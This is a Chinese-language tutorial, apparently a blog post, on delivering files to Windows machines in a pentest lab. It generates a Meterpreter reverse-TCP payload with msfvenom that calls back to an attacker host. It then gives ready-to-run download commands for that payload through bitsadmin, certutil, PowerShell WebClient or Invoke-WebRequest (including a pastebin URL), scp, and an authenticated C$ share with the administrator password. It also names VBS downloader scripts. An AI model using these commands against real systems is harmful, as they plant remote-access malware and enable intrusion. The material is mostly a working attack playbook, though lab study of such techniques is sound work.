目录
可参考以下powershell命令进行修改远程加载端和文件名进行利用
下载的位置在C盘用户的admin下,有的是在administrators目录下
windows文件共享服务(administrator用户特权)编辑
再次连接就成功了(不成功就是防火墙问题了,试试能不能ping)
Bitsadmin传输
bitsadmin是一款windows自带的传输工具
因为文件的上传目录需要权限,一般情况下都是上传windows的缓冲区temp目录下(C:\windows\temp\),其他目录没有权限,也是攻击者喜欢上传的地方
10000.exe是我们自己生成的病毒文件,这里我是msfvenom生成的
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.129.21 lport=6666 -f exe -o 10000.exe
想要我们的木马文件被下载,需要下载到我们的网站目录html下,然后通过开启80服务,可以让外部网络进行访问下载,由于python临时开启的http服务是普通的,这里是用不了,可以通过开启其他服务,例如apache
开启apache服务
# 启动apache2服务
systemctl start apache2
#或者
service apache2 start
关闭服务是
sudo service apache2 stop
sudo systemctl stop apache2
自己查看端口是否开启成功
netstat -naltup | grep 80
cmd输入命令运行即可
bitsadmin /transfer shell http://192.168.128.21/10000.exe C:\windows\temp\10000.exe
![](https://img-blog.csdnimg.cn/direct/52fa2ef08df944edbb16fecc790fd374.png)
certutil传输
vps需要开启python服务
一次下载到路径下,另外一次请求下载到缓存里面
cmd命令下载
#远程加载
certutil -urlcache -split -f http://192.168.20.129:8000/10000.exe 10000.exe
删除缓存
#删除缓存
certutil -urlcache -split -f http://192.168.20.129:8000/10000.exe delete
Powershell传输
可参考以下powershell命令进行修改远程加载端和文件名进行利用
powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('https://pastebin.com/raw/M676F14U','s.txt')"
powershell -command "(new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt')"
powershell (new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt')
powershell Invoke-WebRequest -uri "https://pastebin.com/raw/M676F14U" -OutFile "$env:temp\s.txt"
powershell iwr -uri "https://pastebin.com/raw/M676F14U" -OutFile "$env:temp\s.txt"
命令远程下载
powershell -command "(new-object system.net.webclient).downloadfile('http://192.168.20.129:8000/10000.exe','100002.exe')"#100002.exe是我自己命名的下载后的文件名exe文件
下载的位置在C盘用户的admin下,有的是在administrators目录下
SCP传输(win7及以下没有这个)
验证电脑是否有scp
远程文件下载指令
# 下载单个文件
scp root@192.168.81.229:/root/10000.exe 10000.exe
# 下载文件夹下所有文件
scp -r root@192.168.81.229:/var/www/html html/
远程文件上传指令
# 上传文件,反过写了
scp 10000.exe root@192.168.81.229:/root/10000.exe
windows文件共享服务(administrator用户特权)![](https://img-blog.csdnimg.cn/direct/6adfdc8e758540e6ac712b4f6c8d332f.png)
用我的win7发现不能连接
(前面说了是administrator用户的特权)
net use \\192.168.20.137 /user:administrator 12345678 #12345678是win7主机的密码
查看administrator用户没有激活
net user administrator
激活win7的administrator用户
再次连接就成功了(不成功就是防火墙问题了,试试能不能ping)
net use \\192.168.20.137 /user:administrator 12345678 #12345678是win7主机的密码
查看文件共享的主机
net use
查看连接文件共享win7的c盘目录
dir \\192.168.20.137\c$
dir \\192.168.20.137\c$\windows\temp
上传文件
copy 文件 \\192.168.20.137\c$\windows\temp\ #路径
copy sqlmap \\192.168.20.137\c$\windows\temp\
盘符映射
盘符映射命令
#命名个我们自己电脑的j盘去映射远程目标主机的c盘
net use j: \\192.168.20.137\c$ /user:administrator 20021121Zz.
VBS脚本传输
脚本私聊我获取download.vbs和wget.vbs脚本
命令运行脚本download.vbs
cscript download.vbs
命令运行脚本wget.vbs
cscript wget.vbs http://192.168.20.128/10000.exe c:\10000.exe #后面这个为指定下载到的路径